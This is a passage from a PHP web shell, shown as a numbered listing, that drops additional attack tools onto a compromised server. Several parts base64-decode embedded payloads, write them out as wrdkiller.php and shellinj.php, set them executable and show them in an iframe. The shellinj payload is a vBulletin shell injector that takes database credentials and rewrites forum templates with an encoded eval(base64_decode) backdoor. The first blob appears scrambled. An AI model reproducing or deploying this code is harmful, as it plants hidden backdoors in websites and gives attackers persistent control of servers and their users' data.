WkyVUFZVWZhbGJIQnhOR0FydkFvbGtjMk9zT21ZTGExQTVVQnAzUlgwaEMwZlBmMGx1YU1waU96aW1CbGlLRGxJWk9qbkxVcmx2VUxpdEdCd1pCbW5KTzFDeEN6a0JHQXhBWW9zSmRBYzBCbFlxYzFuNllvbGtPMDV6QmFpS0dsblRVbWxEYTJXeENMZm9HVzBoVHlpVWRvYXdBQmxrV3pJcUFySDVIeXByWXJzV1d6TFhDMlAwVTFucktiZmlVcnlSVzFJWFUxbjZZcnNXV3pMWEJhZmhGMXBBWXJzZURtaXZUYlAwS3lFeldNOWpXMGtoYVRyNUFXMGhhQlM1TzFZYUdyY0NIQWt0QWpuYWMxbjVXTWNEQTJmVkFhZmhmTU9DQUJmYmF6THhDMjVLZG9rdUJCNVJBMHIyVUFDNWRyc2VjcmtjZFRMeGNyWXRIb3l1YUJmTEJyNVNDMmxqRkUwaFQzbG5SMW5RZjNjaU9yMHFXMmZ2S29PdU9NbEpPMWFtQlRrNERvSHpUVGxrZGFwMkMyMFhmb091T01sSk8xYXBBb2Z2S29Pd1VVc2VjMlM0Y3JmbWgxbnVHb2ljZGFjelVBZkRmSTBoQzJQWERhcHVhbXBjSDBwWEMwaVVGb3daWW9sV0RtRnZDMGZQZjBsb0tCeFJXMk9lQ2FGNWRNWXNPbWZpTzJ4UUJhZjNjMVliWUIxSkdCWVhUM2xuUjFuUWYzY0pPMGNwQmxmM2hYMGhBckg1SG95cllyc2VhdUlYQkxXMEtvT3Vhak9MTzBjNUJsZnljMmtzT21PRGFlbnBCTGZCR2xMelVtbmpVeWtYQ2p3MERBbHVkb3NXQTBwcUJsaUtETVlzZHVmTE8yeDJDTWxrY1gwaEMyMDVIMlk2SG9sS0EwbG1CVHc1RjJZNkhvbFlHTHlwQW9wM1IyWXVEdWZrTzFjUUNBRjRjMHB3V21sSkhscFhDTGZCSEJIWmFtbEhhZWFxQmxpS0RNWXNkdWZMTzJ4MkNNcHpjWDBoVHVMNGMyT3Vhak9MTzBjNUJsZm9jbHBDVE1wY0Jya1NCTFluUjFuUWYzY0xPMUMwY3Jmb0dhcGJPVXNXTzBwNVVBSDRoMFltRHppakgwa1BDTWx0RE1rdU9tcGpHam5wQkxmQkdJMGhCVFloRm9Zd0FtbkpIak9wQW9wM1IyWXVEdWZrT2psU1UwWUxhb3l1T21sREEwa1BVQWY0Rm9Pd0FtWURBMGtwQ2FGNWRNWXNPbWZpTzJ4UUJhZjNjMnliWUIxSkgwcDBCYWlVRkUwaENqdzBjMk91S29mRGRCeHpDTFl0Zk1PQ0FCZmxhekx4QzJsdGYyWXNLQjFpYTNpU1RvbHRhQnl1ZHVwa096eVBjYVl0RGFwVFdtcGlPekx6Q01sdGYyT2JVbVlpYTA1emNhSDBkSTBoVTFPemMxbjZZZWlISDA1M0JhRjBoMW5lS1RuRE9lT1JBckg1SG9ZUVlyc2VEbUZ2QzBmUGYwWXBBbXBpT3pMekJlWXREb0h6VGpZSkgwcHFCZWtERnlwYkdvc2pHQXI1VUFmb2ZYMGhDMGY0WWFJWkJtbkpVeWtTQzI1WWQwUHpUTTlKSDJPTUMwZm9HTUh6Y3VjamRha01CTTFTZG9rdUFtcGhHYmZtY3JpaEhhcFRmMmZoVXJrNUNqa0RGb2t1YWp5akhsYzVVMU96VVgwaENhZmNjMHNlV0JzakhNaTJjZXI1ZjFsQ1RtcExIamw1QkxDNWRCeWJhbVlEVXIxbVUxWW5ZTFlRS3RzZURtSVhDMmx0RnlwckhvbGpPMGM2Q3pZTGZNWXNBQmxXYzI5aEFyaVVkWDBoQW9wNEYxbGJVTXhKVzBrc0NqWWtLQWxWV01pakgwMTRVQlAwS3lFeldNOWpXMGtNQmxZbWRsT3NhallrT0xrUEN6WUtIMnd6VU1zaEdCUzNVQVc0aDFuZUtiWWNhMHBTQ0xXMEtFMGhUZVlVZDFubWQwcFdVeWtxQW9wNEZva1ZXanlMVzB3WGNhaXRkeW5UVW1mY0JyNTZjZXc1R2FwZVVCZkpkQWMwQmxXWERCWXVPbXBqR0xhcFVBZlNEMW5UVW1mY0JyNTZUYVlrY1gwaEN6a1NZbHBBSG9sWWF5bHBVQWlERG9rd2FNeFdBMGxwVUFmb0hCT3VLQnBKSGp5M0NMZkJIeXBBSG9sSkhscHNVQmxuZmxucFdUaWpIMGtQQ01sdERNa3VPbXBqR2pucEJMZkJHSTBoQlRZaEZvWXdBbW5KSGpPcEFvcDNSMll1RHVma09qbFNVMFloVWxwcFdqYUpIMWFtY2V3NUhCa3VBQmZKTzJ4WkJsWXRIb2s1V01waU8wYzFCamthYzJPdURveGtVcmtQQ3pZS0hYMGhDalloRDBsd0FqYWpPMWFtQmFZdGZhcENDMmZKSGphU1RvbHRBb091RG94amRNT1hDemthYzJrdWFNaUxkYWFtY3JmUEZvWTVXTWxKTzBjMUNiTDBEQXNBRjJmV0dqVzRUZVlLZlgwaEJhRjBoMW51VW1sa1d6SXFXMmZxVWxudWR1YWpVeUNYVUFpVVlCWXVhVGxrZExrUEN6WUtIMnd6VU1za0RBazFCYUZ4ZHluVFVtZmNCcjU2VEJsa2MyeWJBVGxrZExrUEN6WVlHVzBoVUJsdEdNeUNGb3hXQTBsNFRNbGtjMk9zT21ZTGExQTVVQmxrYzFsQ2FqbkpITDUyQ2xpdEYxcENBTXhXQTBwMkJNMWNEQWxlS3Rza091aTZDMGZvZkFsdVRtWWNCcjU2QXlZaERYMGhCbGlLRE1Zc2R1ZkxPMngyQ01sa2gxbnJLYmZpVXJ5bUJla2FkMGxTQWphak8xYW1jYUY1SEJZcFdtYURCb1ltQzBmb0dNSHpjdWNqZGF5bUJhZkxEb3liWXVha0RCUzNVQVc0aFgwaEFySDVHTVl1T21hV0RtaXBDMmxuZmxubWQwcGVhdWlxQ2FpY2MyeWJBVGxrZExrUEN6WVlmb0h6QW1sRGF6YVZjcmZtZm9Zc2FtcExhM0lYVUJQMEt5RXpXTTlqVzBrTUJsWW1kSTBoYVRZVUdhcGJZQjVMTzJmbUNhRjFEMnliVE1pTE96bDVVbWxxWTBsckt0c1dXemxxQ2FpY2gwWW1EMHBXVXJ5bUJUazREb0h6VFRsa2Rha1NDemtLR0J5Q1dqbmlhemwxVUFmU2ZXMGhCTGZTRGxsQ0FtY2pEVHl2Q2FGMUhybFFZZWlXSDBrdkMwWXRjbHBUYzI1VE8yeDFjck92YzFjdURveGtVcmtQQ3pZS0gyd3pVTXNrVXI1dkNqWUJGMXBlV01sREEwa1Bjcll0RlgwaEJsZm9HTU9lV21wREJ5cFNDTWx0RE15dU9tbGNhMDRYQmxpaEdMbHVHdWNKZEJZMVVBY1VmTGx1SEJpaUhsYW1DYWlPYzJIekFtbEpIamFWQmxpa0YwbHdhbXBEQTB3eEMwaXRkRTBoQzJsdERva3NBQmZKT3pMekJsaWtjMUxaT21wREEwa3pCbGlVSHlwQ1VtcEhXMGsxY3lGeERhcENVbXBrTzBjMUJMWXRHTWFiSEJsSkhtaTZVQWY0Rm9yWmFCZmtBMHlwVUFXNGNYMGhVTFluZHJsb1lvZmhkQWMwQzBPemMwc1RZbzVSYXVZbUF1UDBLclh6V1VzZWMyUzRUZVlVRDFubWR6aUhIMWs1QW9mdkt5RXpXTTlqVzBrU0NNMVVGeXBRRjJmV0dqT1JBckg1SEUwaEJhZmhGMXBBWXJzZURtRnZDMGZQZjBZbWR1bkREQXl2VUFhU2F5SXhXbFlBSHlwaGFyYUJjbGF5T0xpVUEweVhXMmZxVWxwdUtCY2NhMDRYQ2FGNWZBc2VXQjVqSE1pMmNlcjVIVzBoQ3prQkdhSXpXbWxKSGxwWENMZmFkTHhlV0JzalVycDJCTTFTRjFwQ2FtcERCcmxtVTFPelUwWWJhbVlqSGxhUlcxeVNEMnd4S0JpY0gxa1hDancwZDBsZWNveERPMlhYQmVZQkdJMGhCbGloY01Zd1VtY0RkQnh6QmxZakYwbGVBbWZqZFRsc0NhZjRkb09DVE14akRBeVhUM2Z2UjFubWQwc1dPZWwzQ0FpbmMyeWJCQmZSVzBrUUNqWUJmQk9lYzJzalVycDJCTTFTRlgwaEJsaUJHbHBDVWJPV2RBNVBDMGlZRnJscllvZmNIakx4Q001T2QwcHdXbWxKSGxwWENMZkJIQkhaYW1sSGFlYTVDams0ZG9ZNUQyZmhEYWxtQmFpdGYya3dkb2NEZEJ4emNyZkJHVzBoQzNsbWRsbGJBTXNpQnlrWENqdzFEb2tvS0JwY0Jya1BCQjFTRjJ5Q0FtbkRCcjVNQkxmU0dNWXVHb2lsQTJZelVBaVVHQk9iYWJZa1cxazNDMjA1ZEJ5YkdveExCcjVTQzJscWNYMGhVMVl0WTBsckt0c2VEbWlwQzJsdERNa3VPbXBqR2pucEJUazRkeWxDVUJsa1d6SXFXMmZxS29PdU9NbEpPMWFtY2VrU0QyT3VjemxrRE1TMVVsWWtjMkh6QWphSk8xQTVVQjFoZkkwaEMyMVVkb1lRZDJmSmRUbDFCbE96REFsdVRNeEpPM2k2QzBmb0RNeWJZQjVXQTBsNVVCbHREbHBiR3VZak8wY3FCTGZTZmFwNkhvbFlHQWxtQlRrNERvSHpUVGxrZGFjcUNhaVVkVzBoQ2pZaGZybFFZcnNlQUJTNGNyaWtoMFltRDBwZWF1SVhDQVl0R2xMWktiZkRhZW5wQzIwNUgwbFFZZWlXSDBrdkMwWXRjbHBUYzI1T2Exa3FDYWlVRm93WllCaUpXMGtyQmFpdERFMGhCQjFTRjJ5Q0FtbkRCcjFWVTFZblIxblFmM2NMTzJGcVcyZnFVTFlBR2VuRE9lVzRBZVl0ZDJZbmQwcGVBQnNxQ2pZQkhvWXdham5rT2VubVVtbGpZMFltRDBwZWExcDJDMjFCREUwaEJUa21jMHNlV0JzalVycDJCTTFTRjFwQ2FtcERCcmwwQW8xS0RvWXdUQmZjQnIxbVVMZktEb1llV1RsV0RBeXFjbzFvRjJPYmFCZlJBMHczVzJmcVVMWU9kdW5EREF5dlVBWXlEWDBoY2VZdGNNWXNLYllEQnIxMEFvMVNHbEl6VW1jSk8xYXZVTGZLRG9ZZUQyZlJBMHczVzJmcVVMWU9EMHBpYTFsbVUwWW5EMnd6YWpualV5Q1hVQVl5S0FsZUMyNWtXMnNSVzF5cVVJMGhXMXlxVUxwdUtUeUxVcnd4Y3JZbmZhblRXQjVIVzB5VlQzZnZVTFlPRDBwZUExazJjeWlVZjJPQ0FCZkhEam5tVUxpRERva3dhTXhrT2VpbVVMZktEb1llV1Rja1cwcHlCbEYxRkUwaEJsZk9ZTGx3RjJzY0hMYzNjbFlrWTBZbUQwcGVBQlg1VzJmcVVMWUNIcnNlQUJzaEJsZktkMms1V0JzSkgxQ1hDMGlCSHI5M2QwcGVBQlN2QW9wM2ZNT3VBVXNlYzJzaEFySDVIRTBoQzJQMFUwWUFmM2NMTzBjcENMZmFoMFlRZlo5ak8yaTNVQUlYYzFuNllyc2VEbWlYQ001dEhCT2VXam5sQnJrU0F5WWhkMnliQU1zRGF6T3BVQUYxRG9rYmFUbGtkQWNRY3JmU2ZJMGhDTWxrYzJPc09tWUxhMUE1VUI1QmYxcHVPam5EQTBsbVR1UDBVMW51ZHVhalV5Q1hVQWlVWUJZdWFUbGtkQmlYQkxmVWRva3BVQmZKZEFjMEJsV1hEQk9DVE14amRlbFhCTFlrY1gwaENhZk9LQWxWYW1wREJycE1DYWZPREFsd0JNaUpVeWNTQXlZa0t5RXpXTTlqVzBrU0JUa1BmTGx1YW1wY0hUbFBjcmlVR0FzZUFqeWpIbGM1QmVrU0Qwc0FGMmZXR2pPcFVBSDRoWDBoVzJmdkt5RXpXTTlqVzBrNmN5Zmhmb3lDQU1jY2RsQ1hjckY1ZkFzZVdMcGFIVGxPYUJTNU8xWWFHcmNDSEFrdEFqbmFjMW41V01jQ0dCZlZhbGl0RDFsQ0FNeGtPTGs1Q2prREZFMGhDTGZhZExzVFdUY2tPamxNVTBZTGFNWXVBTWlMTzFhbWFsaUtkb1lwQzNua1cyUzNVQVc0aDBZbWR6aUhIbHAyQzIwWGgwWVFmM2NETzJYWkFvZnZLeUV6V005aldibnBDMjFCREUwaENicHpVMmNPZFo5V2MyODRDemtLR0J5Q1dqbmtVeXcxQzBmYUtBbFZBTXhsVXl5MkNCMW9IbGxDVE1wamRCeDNjcllrYzFMWkRvaWpkTDVTY3JXWERCT0NBTTFIYW9mcEFvZnZVSTBoQ2FmY2Mwc3djdW5KZGFrMmN1TDFGMndaVE1pTE8yeDJDTUwxZDFsQ1RNOWtPZUU1VUFZakRNWXVPbXBqSDJPMkMyMU9kTHNUV2pmZWMyc2hCTEY1RE1PYkhCeEpkbHkxQmprQkhFMGhBbGY0ZG9rYmFtYUxPQVAxQTFmT2QwUHpXTWlqSDAxNFVtbHFmYXBzS0JwTEJyMXZVMU96VTBZQ0hyc1dXemw2QlRZaEZvWXdBVXNlRG1GdkMwZlBmMFlzZHVhY0htSXhCTGZhZFgwaFVBYW9XMUF4V0xrQk9CZm1Ub2xuZE1XeldiT2NhMWswQ2FGMGZsbGJBbU9pYXpPMEJNMDVmTU91YW1sSGRMa3ZDMFlqRnI5M2RaOVdjMjg5d2pTaGNCWVBkWkVKTnVFSUNCeHBjMjQ5azJZbGRtT2xGSkYrZVdQOERCNVhmYldJZnVsWGNUMG1mb2E0ZnRGSWRNeXNjVDBtY0IxaURCWG13dWNpZHVhbE5VZjVkM2FaV29hc0NCbFNSTVl2ZFVGK3dleHBkbW4xZnRuMEdibmxOVWYwY2JpMGtablZDQjFsTlVmWENiT1BrWm4yQ0J4MWNUMG1SMml2ZEJBdmZiWWxGSjkzZjNGdmYzRXNDQk9zREI0dmZiWWxGSjFsY29sMFJtblBGdEZJRjJsNmNUMG1ZVEVtTkpFOERCNVhmYldJZnVsWGNUMG1GM2FKZEJsMGtabjJDQngxY1QwbURCNU1jQlkwa1puVkNCMWxOVWZwZE1DbU5qWHZGZTRZdGp4WHdveVNEQmZWTlVmamNCNTBjYndtd29PcEZqMG1kdU9aa3o0OENqNDhjTTlWZnRuamQyeHZGajBtdzBjb0hlRVhIdEZJY015amNUMG1hb3lQZDIxaWtabnpEYnBsTlVGMGt6NUtkM09sd2VQSWFvaXBGWm5ORnVPcGQyNElUMjVTR1VuVERvYVNkdG5rZEpuVENCMWx3eVlwZm9BSUJCOTF3eWZpZG1XSVVCNU1jQlkwTnQ5TWQyNTBOalh2Q2o0OFIzRSt3alNoZ1dQTEZNYVhkb3lqY1VFOXdybk1EQnhsYjNuMWZ5OWpkMjUwY0I1MEZaSUxGb3kwRHR4emZ1a2dGTWFYZG95amNVSW13Wlk0RjJhamZia3BmdUxqd1pGU2tvYXNDQmxTUm9raUYyQTJZeTlMY0JZdmNvQVBrb2xWRE1hamZ0THBoVFNoREJDUGt1a2xGb3hpQzJBcHd1U2hjQllQZFpFbU51RUlDQnhwYzI0OXdNWWxkbU9sRkp3K05vY3ZkbVdJY015amNUMEphTWFaY295VkNVd0lGMmw2Y1QwSkhKd0lDMjlTZDN3OXdKWW9PTGNvT0xDSk5sZmxDbVlwZm9BSVVveXp3cmtsY0I0SVVCNU1jQlkwY0JXSUtMVzhSMmN2ZG1XK050OVhOSkY3dG0waGNCWVBkWm5KQ2JZbFlqT2djb2FqZDJPbGh0T01kMjkwY2J3cEtYUDdhbFZuUlBJcQ==';
  276.     $file = fopen("wrdkiller.php" ,"w+");
  277.     $write = fwrite ($file ,base64_decode($wrdkiller));
  278.     fclose($file);
  279.         chmod("wrdkiller.php",0755);
  280.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;></p><iframe src=wrdkiller.php width=75% height=65% frameborder=0></iframe>"; }
  281.        
  282.     elseif(isset($_GET['shellinj'])) {
  283.     $shellinj ='PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5+IHZCdWxsZXRpbiBTaEVMTCBJbmpFY3RPciB+PC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQo8Pw0KLyoNCnwgQ29kZWQgQnkgSGlqQGNrZXINCnwgSGFja3RlYWNoLm9yZyB8IFNlYzRldmVyLmNvbQ0KKi8NCg0KPz4NCmJvZHkgew0Kc2Nyb2xsYmFyLWZhY2UtY29sb3I6IzBlMGUwZTsNCnNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6IzBlMGUwZTsNCnNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiMxYTFhMWE7DQpzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjojMGUwZTBlOw0Kc2Nyb2xsYmFyLXNoYWRvdy1jb2xvcjojMWExYTFhOw0Kc2Nyb2xsYmFyLWFycm93LWNvbG9yOiM5OTAwMzM7DQpzY3JvbGxiYXItdHJhY2stY29sb3I6IzAwMDAwMDsNCn0NCip7bWFyZ2luOiAwOyBwYWRkaW5nOiAwO30NCmJvZHl7dGV4dC1hbGlnbjogY2VudGVyOw0KZm9udDogMTFweCBUYWhvbWE7DQpjb2xvcjogIzMzMzMzMzsNCmJhY2tncm91bmQ6ICNFRUVFRUUgdXJsKGh0dHA6Ly9pbWc0MDEuaW1hZ2VzaGFjay51cy9pbWc0MDEvOTcyNS81MTF6LmdpZik7DQp9DQphe2NvbG9yOiM5NzAwMDA7DQp0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOmhvdmVyIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7DQpjb2xvcjogIzQ3MDAwMDsNCn0NCi5ib3gge2JhY2tncm91bmQtY29sb3I6ICMwMDA7DQpib3JkZXI6IDRweCBzb2xpZCAjMDkwOTA5Ow0KcGFkZGluZzogNXB4Ow0KbWFyZ2luLWJvdHRvbTogMTBweDsNCndpZHRoIDogNDAlOw0KfQ0KIA0KLmJveCBoMyB7YmFja2dyb3VuZC1jb2xvcjogIzQ3MDAwMDsNCmNvbG9yOiAjYTdhN2E3Ow0KZm9udC1zaXplOiAxMXB4Ow0KcGFkZGluZzogN3B4Ow0KbWFyZ2luLWJvdHRvbTogNXB4Ow0KfQ0KI2NvbW1lbnRzIGZvcm0gcCB7bWFyZ2luLWJvdHRvbTogNXB4O30NCiNjb21tZW50cyBmb3JtIGlucHV0IHttYXJnaW4tcmlnaHQ6IDVweDt9DQojY29tbWVudHMgZm9ybSBpbnB1dCwgdGV4dGFyZWEge2JvcmRlcjogMXB4IHNvbGlkICNjY2NjY2M7DQpmb250LXNpemU6IDExcHg7DQpmb250LWZhbWlseTogdGFob21hOw0KcGFkZGluZzogNHB4Ow0KYmFja2dyb3VuZC1wb3NpdGlvbjogNHB4IDRweDsNCmJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7DQp9DQojY29tbWVudHMgZm9ybSBpbnB1dCB7Ym9yZGVyOiAxcHggc29saWQgI2NjY2NjYzsNCn0NCiNjb21tZW50cyBmb3JtIHRleHRhcmVhIHtwYWRkaW5nOiA0cHggNHB4ICFpbXBvcnRhbnQ7DQpib3JkZXI6IDFweCBzb2xpZCAjY2NjY2NjOw0KfQ0KI2NvbW1lbnRzIGZvcm0gYnV0dG9uIHtib3JkZXI6IDFweCBzb2xpZCAjYTBhMGEwOw0KZm9udC1zaXplOiAxZW07DQpmb250LWZhbWlseTogVmVyZGFuYTsNCnBhZGRpbmc6IDJweCA2cHg7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8YnIgLz4NCjxiciAvPg0KPGJyIC8+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KPGRpdiBjbGFzcz0iYm94Ij4NCjxoMz46OiBTaGVsbCBpbmpFY1RpT24gQnkgU1FMIFF1RXJ5IDo6PC9oMz4NCjw/cGhwDQpzd2l0Y2goJF9HRVRbYWN0aW9uXSkNCnsNCmRlZmF1bHQ6Ow0KUFJJTlQgJw0KPGRpdiBpZD0iY29tbWVudHMiPg0KPGZvcm0gaWQ9ImZvcm0xIiBvbnN1Ym1pdD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdmb3JtMVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdsb2FkaW5nXCcpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsiIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP2FjdGlvbj1TdGFydCI+DQo8dGFibGUgd2lkdGg9IjY1JSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KPHRyPg0KPHRkIGhlaWdodD0iMzUiPkRhdGFiYXNlIEhvc3QgOiA8L3RkPg0KPHRkIGhlaWdodD0iMzUiPg0KPGlucHV0IG5hbWU9IkRCSG9zdCIgdHlwZT0idGV4dCIgaWQ9IkRCSG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgIC8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjM1Ij5EYXRhYmFzZSBOYW1lIDogPC90ZD4NCjx0ZCB3aWR0aD0iNTklIiBoZWlnaHQ9IjM1Ij4NCjxpbnB1dCBuYW1lPSJEQk5hbWUiIHR5cGU9InRleHQiIGlkPSJEQk5hbWUiIC8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBoZWlnaHQ9IjM1Ij5EYXRhYmFzZSBVc2VybmFtZSA6IDwvdGQ+DQo8dGQgaGVpZ2h0PSIzNSI+DQo8aW5wdXQgbmFtZT0iREJVc2VyIiB0eXBlPSJ0ZXh0IiBpZD0iREJVc2VyIiB2YWx1ZT0icm9vdCIgLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGhlaWdodD0iMzUiPkRhdGFiYXNlIFBhc3N3b3JkIDogPC90ZD4NCjx0ZCBoZWlnaHQ9IjM1Ij4NCjxpbnB1dCBuYW1lPSJEQlBhc3MiIHR5cGU9InBhc3N3b3JkIiBpZD0iREJQYXNzIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgaGVpZ2h0PSIzNSI+SW5qZWN0IGluOjwvdGQ+DQo8dGQgaGVpZ2h0PSIzNSI+DQo8c2VsZWN0IG5hbWU9InBsYWNlIiA+DQo8b3B0aW9uIHZhbHVlPSJmYXEiPmZhcS5waHA8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9Im1lbWJlcmxpc3QiPm1lbWJlcmxpc3QucGhwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJjYWxlbmRhciI+Y2FsZW5kYXIucGhwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzZWFyY2hfZm9ydW1zIj5zZWFyY2gucGhwPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzaG93Z3JvdXBzIj5zaG93Z3JvdXBzLnBocDwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8L3RyPg0KPC90ZD48L3RhYmxlPjxiciAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IlN1Ym1pdCIgdmFsdWU9IkluakVjVCIgLz4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBpZD0ibG9hZGluZyIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPlBsZWFzZSBXYWl0Li4uPC9kaXY+DQonOw0KYnJlYWs7IA0KY2FzZSBTdGFydDoNCiRDb25uZWN0ID0gQG15c3FsX3NlbGVjdF9kYigkX1BPU1RbREJOYW1lXSxteXNxbF9wY29ubmVjdCgkX1BPU1RbREJIb3N0XSwkX1BPU1RbREJVc2VyXSwkX1BPU1RbREJQYXNzXSkpOyANCiRwbGFjZSAgID0gJF9SRVFVRVNUWydwbGFjZSddOyANCiRVcGRhdGUgID0gQG15c3FsX3F1ZXJ5ICgiVVBEQVRFIHRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9IDB4MjQ3MzcwNjE2MzY1NzI1ZjZmNzA2NTZlMGQwYTdiMjQ3YjY1NzY2MTZjMjg2MjYxNzM2NTM2MzQ1ZjY0NjU2MzZmNjQ2NTI4Mjc1YTU3NGU2ZjYyNzk0MTZlNTA0NzVhNzY2MzZkMzA2NzVhNTczNTZhNjQ0ODZjNzc1YTU0MzA2OTYyNTg1NjczNjQ0NzZjNzc1OTU4NGEzMDRjMzI1YTc2NjM2ZDMwNzQ1YTQ3NDYzMDU5NTM0OTY3NTk1NzRlMzA2MTU3Mzk3NTUwNTM0OTZlNGM2OTUyNTE1MzQ2NDI2NjU1MzA1NjRkNTI2OTM0NmU1MDMzNjczOTY1NDM0OTY3NjI1NzU2MzA2MTQ3Mzk2YjUwNTM0YTUxNTQzMTRlNTU0OTZhMzU0NzYxNTc3ODZjNTA0NzZjNzU2MzQ4NTYzMDQ5NDczNTY4NjI1NzU1Mzk0OTZkNWE3MDYyNDc1NTY5NDk0ODUyMzU2MzQ3NTUzOTQ5NmQ1YTcwNjI0NzU1Njk0OTQzMzgyYjUwNDc0YTc5NDk0MzM4MmI1MDQ3NmM3NTYzNDg1NjMwNDk0ODUyMzU2MzQ3NTUzOTQ5NmU0ZTMxNTk2ZDMxNzA2NDQzNDk2NzY0NmQ0NjczNjQ1NzU1Mzk0OTZlNTY3NzYyNDczOTY4NWE0MzQ5Njc0YzdhMzQzODRjMzI1YTc2NjM2ZDMwMmI0YTdhNzM0ZTQzNmQ2YzZkNGI0MzUyNjY1NTZiNTY1MjU2NTU1NjU0NTY0NjczNjk2NTQzNGE2NDRiNTg3NDcwNWE2OTY4NzQ2MjMzNWE2YzU4MzM1Njc3NjI0NzM5Njg1YTQ3NTY2YjU4MzI1YTcwNjI0NzU1NmY0YTQ2Mzk0NzUzNTU3ODQ2NTUzMTczNjk1YTZkNmM3MzVhNTM0YTY0NTc3OTRhMzA2MjU4NDI2NjYyNmQ0Njc0NWE1MzRhNjQ0YzQzNTI2NjUyNmI2YzRkNTI1NjRlNjI0OTZkNWE3MDYyNDc1NTY5NTg1NjczNjk2MjZkNDY3NDVhNTM0YTY0NGI1MzZiNjc2NTc5NDI2YzU5MzI2ODc2NDk0MzUyNjY1MjZiNmM0ZDUyNTY0ZTYyNDk2ZDVhNzA2MjQ3NTU2OTU4NTY3MzY5NjI2ZDQ2NzQ1YTUzNGE2NDRjNjk0OTY3NTY1ODQyNzM2MjMyNDY2YjVhNTc1MTY4NDk2YTc0Mzk0OTQ3NTY3MzYzMzI1NjM3NWE1NzRlNmY2Mjc5NDE2OTUyNTg0YTc5NjIzMzQ5Njg0OTZhNzQzOTY2NTEzZDNkMjcyOTI5N2Q3ZDdiMjQ3YjY1Nzg2OTc0MjgyOTdkN2QyNjBkMGEyNDVmNzA2ODcwNjk2ZTYzNmM3NTY0NjU1ZjZmNzU3NDcwNzU3NDBkMGEgV0hFUkUgdGl0bGUgPSAnJHBsYWNlJyIpOyANCmlmKCRDb25uZWN0KSANCnsNCmVjaG8gJzxiIHN0eWxlPSJjb2xvcjojNGI0YjRiOyI+Q29ubmVjdGVkIFRvIERhdGFiYXNlID0mZ3Q7IDwvYj48Zm9udCBjb2xvcj0iIzk3MDAwMCI+PGI+DQpEb25lPC9iPjwvZm9udD48YnI+PGJyPic7IA0KfQ0KZWxzZXsNCmVjaG8gJzxiIHN0eWxlPSJjb2xvcjpyZWQ7Ij5FcnJvciA6IENvdWxkIE5vdCBDb25uZWN0IFRvIERhdGFiYXNlICEhPC9iPjxicj4nOw0KfQ0KaWYoJFVwZGF0ZSl7DQplY2hvICI8YiBzdHlsZT0nY29sb3I6IzRiNGI0YjsnPkluakVjdCBZb3VyIFNoRUxMID0+PC9iPiA8Zm9udCBjb2xvcj0nIzk3MDAwMCc+PGI+RG9uZTwvYj48L2ZvbnQ+DQo8YnI+PGJyPg0KPGIgc3R5bGU9J2NvbG9yOiM0YjRiNGI7Jz55MHUgZk91TmQgdGhFIFNoRUxMIGluIDwvYj48Zm9udCBjb2xvcj0nIzk3MDAwMCc+DQo8Yj4kcGxhY2UucGhwPC9iPjwvZm9udD4NCiI7IA0KfQ0KZWxzZXsgDQplY2hvICc8YiBzdHlsZT0iY29sb3I6cmVkOyI+RXJyb3IgOiBDb3VsZCBOb3QgSW5qZWN0IFRoZSBTaGVsbDwvYj48YnI+JzsgDQp9IA0KYnJlYWs7IA0KfSANCj8+DQo8L2Rpdj4NCjwvZGl2Pg0KPGZvbnQgc2l6ZT0iMiI+QW5vbkdob3N0IGlzIEV2ZXJ5d2hlcmU8L2ZvbnQ+IA0KPC9hPg0KPHA+Jm5ic3A7PC9wPg0KPHA+DQo8L3A+DQo8cD4mbmJzcDs8L3A+DQo8L2h0bWw+';
  284.     $file = fopen("shellinj.php" ,"w+");
  285.     $write = fwrite ($file ,base64_decode($shellinj));
  286.     fclose($file);
  287.         chmod("shellinj.php",0755);
  288.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;></p><iframe src=shellinj.php width=70% height=65% frameborder=0></iframe>"; }
  289.        
  290.     elseif(isset($_GET['aghtt'])) {
